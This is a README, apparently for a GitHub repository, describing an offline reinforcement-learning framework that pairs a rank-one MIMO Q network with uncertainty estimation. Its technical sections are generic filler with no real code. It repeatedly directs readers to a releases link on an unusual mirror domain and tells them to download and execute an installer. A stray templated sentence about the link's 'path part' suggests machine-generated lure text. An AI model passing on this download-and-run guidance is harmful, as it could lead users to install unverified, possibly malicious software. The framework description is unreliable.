https://github.com/rehan3008/mimo_Q_network/releases

Uncertainty-Aware Rank-One MIMO Q Network for Accelerated Offline RL Training

Welcome to the official repository for the Uncertainty-Aware Rank-One MIMO Q Network Framework. This project brings together robust ideas from offline reinforcement learning (RL), uncertainty quantification, and multi-input multi-output (MIMO) Q networks. It aims to accelerate offline RL workflows by leveraging rank-one MIMO architectures and principled uncertainty estimates to improve stability and sample efficiency.

Emojis: 🤖⚙️🔬🧠📈🧭

Table of Contents

• Overview
• Core Concepts
• Why This Project
• Quick Start
• Installation
• Architecture and Design
• How the MIMO Q Network Works
• Uncertainty Modeling
• Offline RL Primer
• Data Handling and Datasets
• Training and Evaluation
• Pseudocode for Training
• Hyperparameters and Tuning
• Reproducibility and Testing
• Demos and Examples
• API Reference
• Visualization and Debugging
• Release Process
• Contributing
• License
• Community and Support
• Roadmap
• Acknowledgments

Overview This repository implements a novel framework for offline RL that combines uncertainty-aware learning with a rank-one MIMO Q network. The goal is to enable agents to learn high-quality policies from static data without interacting with the environment. The uncertainty-aware component helps the agent recognize when estimates are unreliable, which reduces overfitting to spurious correlations in offline data. The rank-one MIMO structure provides a compact, efficient representation for multi-dimensional actions and observations, enabling scalable learning even on modest hardware.

The project targets researchers and practitioners who want to push offline RL further with robust uncertainty handling and efficient network architectures. It is designed to be modular, so users can swap components, experiment with different uncertainty estimators, or plug in new offline RL objectives.

Core Concepts

• Uncertainty-Aware Q Networks: Networks that quantify epistemic uncertainty in Q-value predictions and use that information to guide learning and policy improvement.
• Rank-One MIMO Architecture: A factorized approach to multi-input multi-output networks that reduces parameter count while preserving expressive power.
• Offline Reinforcement Learning: Learning policies from a fixed dataset without online interaction, with an emphasis on safe and stable learning.
• Stability Through Uncertainty: Regularization and training protocols that leverage uncertainty estimates to prevent over-optimistic updates.

Why This Project

• Improve sample efficiency in offline RL by using a compact MIMO Q network that can capture complex relationships in high-dimensional state-action spaces.
• Increase robustness to distribution shift using principled uncertainty estimation.
• Provide an end-to-end pipeline from data handling to training, evaluation, and reproducibility.
• Offer clear documentation and modular code so researchers can reproduce results and build on the work.

Quick Start This section gives you a high-level path to get the project up and running. It is designed to be actionable, even if you are new to offline RL or MIMO architectures.

• Prerequisites:
  • Python 3.8 or later
  • A modern CPU or GPU with CUDA support if you plan to leverage GPU acceleration
  • Basic familiarity with PyTorch or a similar deep learning framework
• What you will download:
  • The Releases page contains packaged artifacts that you can download and run. The Releases page is linked here: https://github.com/rehan3008/mimo_Q_network/releases
  • From the Releases page, download the latest release archive. The archive usually contains prebuilt components and a setup script. If you need the exact file name, look for something like mimo_q_network-.tar.gz and follow the installation steps.
• Typical workflow:
  • Download the latest release from the Releases page.
  • Extract the archive to a working directory.
  • Run the included installer or setup script to install dependencies.
  • Prepare offline data and run the training script with the default configuration to reproduce results.
  • Evaluate the learned policy on held-out data or benchmark tasks.

Note: The Releases page contains the exact artifacts you need. If you want to jump straight to the page, visit https://github.com/rehan3008/mimo_Q_network/releases.

Installation Follow these steps to install the framework in a clean environment. The instructions assume you are using a Unix-like OS (Linux or macOS). Windows users can adapt commands or use a WSL environment.

• Create a virtual environment (highly recommended)
  • python -m venv mimo_venv
  • source mimo_venv/bin/activate
• Install core dependencies
  • pip install -r requirements.txt
  • If CUDA is available and you want GPU acceleration, ensure you have the correct CUDA toolkit and cuDNN versions installed, then install matrix and math libraries that match your setup.
• Install the package
  • If the release includes an installer: ./install.sh
  • If the release provides a Python package: pip install mimo_q_network
• Verify installation
  • python -c "import mimo_q_network as mq; print(mq.version)"
• Optional: set environment variables
  • MIMO_Q_NETWORK_LOG_LEVEL=INFO
  • CUDA_VISIBLE_DEVICES=0 (for GPU usage)

What to download from the releases The link at the top of this README points to the official releases. The release artifacts usually include:

• A compressed archive containing the library, configuration files, and example scripts
• A lightweight installer to set up dependencies
• Pretrained models or example checkpoints (sometimes)
• Documentation assets to help you get started quickly

If you are unsure which file to download

• Open the Releases page and look for the latest stable release.
• The archive name typically indicates the version and platform.
• Download the archive, extract it, and run the included installer or setup script.
• If you run into issues, the Releases page usually includes notes about dependencies and compatibility.

Architecture and Design This project uses a modular architecture designed to be approachable and extensible. The core components are:

• Data Loader: Reads offline datasets, supports common formats, and handles pre-processing steps like normalization and feature extraction.
• Rank-One MIMO Q Network: Implements the main network that factorizes the multi-input multi-output mapping into a rank-one structure for efficiency.
• Uncertainty Estimator: Computes epistemic (and optional aleatoric) uncertainty using methods such as bootstrapping, ensembles, or probabilistic layers.
• Offline Learner: Orchestrates the training loop with stability objectives, regularization, and target networks.
• Evaluator: Provides metrics and evaluation pipelines to compare policy performance on fixed datasets.
• Utilities: Helpers for logging, checkpointing, visualization, and reproducibility.

The codebase emphasizes clarity and simplicity. Each module has a well-defined interface, and defaults are chosen to be safe for common offline RL tasks.

How the MIMO Q Network Works

• Rank-One Factorization: The Q-network is designed to learn a high-dimensional mapping from state-action pairs to expected returns. By factorizing the weight matrix into a product of low-rank components, the network captures cross-feature interactions efficiently.
• Multi-Input Multi-Output: The network processes several streams of information (e.g., different action channels or subspaces) and produces corresponding Q-values. The rank-one factorization reduces parameters while preserving predictive power.
• Uncertainty Quantification: The network estimates uncertainty in Q-values. This helps the planner avoid over-optimistic actions when data is sparse or distribution-shifted. Uncertainty guides both learning updates and exploration of alternative actions in evaluation.

Uncertainty Modeling

• Epistemic Uncertainty: Captures what the model does not know about the data. It is reduced as more data is seen, and high epistemic uncertainty signals the model should be cautious in updates.
• Aleatoric Uncertainty (optional): Captures irreducible noise inherent in the environment. It can be modeled with heteroscedastic outputs or probabilistic layers.
• Techniques to estimate uncertainty:
  • Ensembles: Train several independent Q-networks and aggregate their predictions to estimate spread.
  • Bootstrap Methods: Train networks on bootstrap-resampled subsets of the data.
  • Bayesian Layers: Use probabilistic layers to directly model uncertainty in weights.
  • Dropout as Approximate Bayesian Inference: Use dropout during inference to obtain an uncertainty estimate.
• Using Uncertainty in Learning:
  • Uncertain Q-values can trigger conservative updates, reducing the learning rate for uncertain actions.
  • Action selection uses a risk-adjusted criterion that accounts for both mean estimates and uncertainty.
  • Regularization terms penalize overconfident predictions in regions with limited data.

Offline Reinforcement Learning Primer

• Objective: Learn a policy from a fixed dataset that was collected by some policy in the past.
• Challenges: Distribution shift between the data and the learner’s policy, evaluation bias, and overfitting to limited data.
• Common approaches:
  • Conservative Q-Learning (CQL): Penalize Q-values for unseen state-action pairs to avoid overestimation.
  • A2C/A3C variants adapted for offline data: Use value-function baselines with stable updates.
  • Imitation elements: Blend expert behavior with learned value estimates to improve safety and performance.
• Why offline RL benefits from uncertainty:
  • It helps distinguish trustworthy estimates from misleading ones in regions with sparse data.
  • It supports safer policy improvements, which is crucial when real-world data collection is expensive or risky.

Data Handling and Datasets

• Data Formats: The framework supports standard offline RL datasets stored as pairs of (state, action, reward, next_state, done) with optional auxiliary features.
• Preprocessing: Normalization, feature scaling, and optional dimensionality reduction are supported. The Data Loader handles shuffling, batching, and sequence segmentation where needed.
• Data Quality: For best results, datasets should cover a diverse set of states and actions. High-quality coverage reduces uncertainty in informationally rich regions.
• Datasets used in examples:
  • Synthetic control tasks to illustrate stability of the rank-one MIMO Q network
  • Realistic offline RL datasets drawn from simulated environments
  • Benchmark suites to compare against established offline RL baselines

Training and Evaluation

• Training Loop:
  1. Load a batch of transitions from the offline dataset
  2. Compute Q-value targets using a target network
  3. Estimate uncertainty for the current batch
  4. Update the rank-one MIMO Q network with a loss that combines mean-squared error for Q-values and a regularization term informed by uncertainty
  5. Periodically update the target network and adjust learning rates
  6. Log metrics and save checkpoints
• Evaluation:
  • Offline evaluation uses held-out data to compute metrics such as mean Q-value, policy disagreement, and policy returns under the fixed dataset
  • If a safe evaluation protocol is available, you can run a conservative policy improvement step and re-evaluate
  • Visualization tools help monitor training progress, including Q-value distributions and uncertainty estimates
• Losses and Objectives:
  • Primary objective: minimize the Bellman error for Q-values
  • Uncertainty regularization: encourage robustness by penalizing overconfident Q-values where data is scarce
  • Rank-one regularization: enforce the low-rank structure to reduce overfitting and control model capacity

Pseudocode for Training Note: This is high-level pseudocode to illustrate the training flow. Adjust as needed for your environment and data.

• Initialize Q-network with rank-one MIMO architecture
• Initialize target Q-network as a copy of the Q-network
• Initialize uncertainty estimator (e.g., ensembles or Bayesian layers)
• For each training step:
  • Sample a batch of transitions from the offline dataset
  • Compute current Q-values Q(s, a) using the Q-network
  • Compute target Q-values using the target network: y = r + gamma * max_a' Q_target(s', a')
  • Estimate uncertainty U(s, a) for the current batch
  • Compute loss = MSE(Q(s, a), y) + lambda_uncertainty * UncertaintyPenalty(U) + lambda_rank * RankOnePenalty()
  • Backpropagate and update Q-network weights
  • Optionally update the uncertainty estimator
  • If step % target_update == 0: update target network
  • Log metrics (loss, Q-values, uncertainty, etc.)
• End

Hyperparameters and Tuning

• Learning rate: controls the pace of learning. Start with a modest value (e.g., 3e-4) and adjust based on convergence behavior.
• Gamma (discount factor): typically 0.95 to 0.99 for many offline RL tasks.
• Lambda_uncertainty: weight for the uncertainty regularization term. Increase if uncertainty strongly influences stability.
• Lambda_rank: weight for rank-one regularization to maintain a compact architecture.
• Ensemble size (if using ensembles): 5–10 networks are common starting points; more ensembles yield more robust uncertainty estimates but increase compute.
• Target update period: 1000 steps is a typical starting point; adjust for dataset stability.
• Batch size: 256 is a common starting size; larger batches can improve gradient estimates but require more memory.

Reproducibility and Testing

• Seed management: Fix random seeds across all libraries (Python, NumPy, PyTorch) to ensure reproducibility.
• Deterministic operations: Where possible, enable deterministic algorithms in the deep learning framework.
• Checkpoints: Save model state and optimizer state at regular intervals. Load checkpoints to resume training.
• Evaluation protocol: Define a consistent offline evaluation protocol to compare results across experiments.
• Documentation of settings: Record all hyperparameters, dataset versions, and environment details to reproduce results.

Demos and Examples

• Quick demo notebooks illustrate:
  • Loading an offline dataset
  • Training a rank-one MIMO Q network
  • Evaluating the learned policy on held-out data
  • Visualizing Q-values and uncertainty
• Example scripts:
  • train_offline_q_network.py: runs the offline training loop with default settings
  • evaluate_policy.py: evaluates a trained policy on a fixed dataset
  • visualize_results.py: plots Q-values and uncertainty distributions
• Visual aids:
  • A schematic diagram of the rank-one MIMO Q network
  • Plots of training curves, Q-value trajectories, and uncertainty tracks
  • A comparison chart against baseline offline RL methods

API Reference

• mimo_q_network.q_network: Core Q-network implementing the rank-one factorization
• mimo_q_network.uncertainty: Uncertainty estimation utilities (ensembles, bootstrap, Bayesian layers)
• mimo_q_network.data: Data loading and preprocessing utilities
• mimo_q_network.train: Training loop and loss functions
• mimo_q_network.utils: Logging, checkpointing, and visualization helpers
• mimo_q_network.eval: Evaluation routines for offline policy assessment

Visualization and Debugging

• Training curves: Loss, Q-values, and uncertainty over time
• Uncertainty maps: Visualizations across state-action space
• Feature importances: Insights into how state features drive Q-values
• Debug mode: Reduced batch sizes and verbose logging to help diagnose issues

Release Process

• Releases page: Contains prebuilt artifacts for various platforms
• Versioning: Semantic versioning (e.g., v1.0.0, v1.1.0)
• Changelog: Documented changes for each release
• How to upgrade: Follow the release notes and install steps for the new version

The link used at the beginning has a path part, so it points to a specific resource. The instructions indicate that from a releases page you should download and execute the file. The latest release archive usually includes an installer or a setup script. Look for the archive name in the Releases page (for example mimo_q_network-1.0.0.tar.gz). After downloading, extract the archive and run the installer script or follow the included README in the archive. For most users, this provides a clean path to a working environment with dependencies installed. If you encounter any issues, check the “Releases” section for compatibility notes and additional guidance. See the same link again here: https://github.com/rehan3008/mimo_Q_network/releases.

Contributing

• How to contribute
  • Start by opening an issue to discuss your idea or bug report.
  • Create a feature branch and implement the changes with clear, well-documented code.
  • Add unit tests for new functionality and run the test suite.
  • Update documentation and example notebooks to reflect changes.
• Code style
  • Follow the project’s existing style guide.
  • Use descriptive variable names and include docstrings for public APIs.
  • Keep functions small and focused; aim for single-responsibility components.
• Review process
  • All changes go through a pull request review.
  • Maintainers provide feedback and require test coverage and documentation updates.

License

• This project is licensed under the MIT License. It allows reuse with minimal restrictions and requires attribution of the original authors.

Community and Support

• If you need help, reach out through the repository’s Issues page.
• For general discussions, use the project’s Discussions or a connected forum if available.
• Regular updates and announcements appear on the Releases page.

Roadmap

• Short-term goals
  • Improve stability on diverse offline datasets
  • Add more robust uncertainty estimators
  • Expand the MIMO architecture to handle higher-dimensional action spaces
• Mid-term goals
  • Integrate with standard offline RL benchmarks
  • Provide a plug-in interface for custom loss functions and uncertainty methods
  • Enhance visualization tools for deeper debugging
• Long-term goals
  • Support scalable experiments on multi-GPU clusters
  • Offer automated experiment tracking and reproducibility pipelines

Acknowledgments

• Special thanks to contributors who helped shape this project.
• A nod to researchers in offline RL and uncertainty quantification whose ideas informed the framework.

Images and Visual Aids

• Diagram: Rank-One MIMO Q Network structure
  • Source: Open-source diagrams illustrating MIMO and rank-one factorization concepts
• Diagram: Uncertainty-aware learning loop
  • Source: Public-domain RL visualization sketches adapted for this project
• Example plots: Q-values and uncertainty over training
  • Source: Custom plots generated from the included notebooks

FAQ

• Do I need online interaction to use this framework?
  • No. The framework is designed for offline RL and learning from fixed datasets.
• What if my dataset is small or biased?
  • Uncertainty estimation helps. You may need stronger regularization and conservative updates to avoid overfitting.
• Can I use this with a custom environment?
  • Yes. The data loader and trainer are modular; you can plug in your own dataset handler and evaluation scripts.

Closing Notes

• This README aims to guide you from download to reproducible experiments. It emphasizes clarity, safety, and robust learning with uncertainty-aware MIMO Q networks in offline RL settings.
• The Releases page contains the exact artifacts to download, and you can use the same link again for quick access to updates: https://github.com/rehan3008/mimo_Q_network/releases.

Appendix: Glossary

• MIMO: Multiple-Input Multiple-Output. A framework in which multiple signals are transmitted and received, here applied as a way to model multiple interacting components in the Q network.
• Q Network: A neural network that estimates the action-value function Q(s, a).
• Rank-One Factorization: A matrix factorization approach that decomposes a weight matrix into the product of two vectors, reducing parameters.
• Offline RL: A regime where learning uses a fixed dataset without online environment interaction.
• Epistemic Uncertainty: Uncertainty due to limited knowledge, reducible with more data.
• Aleatoric Uncertainty: Uncertainty inherent in the environment, not reducible by data collection.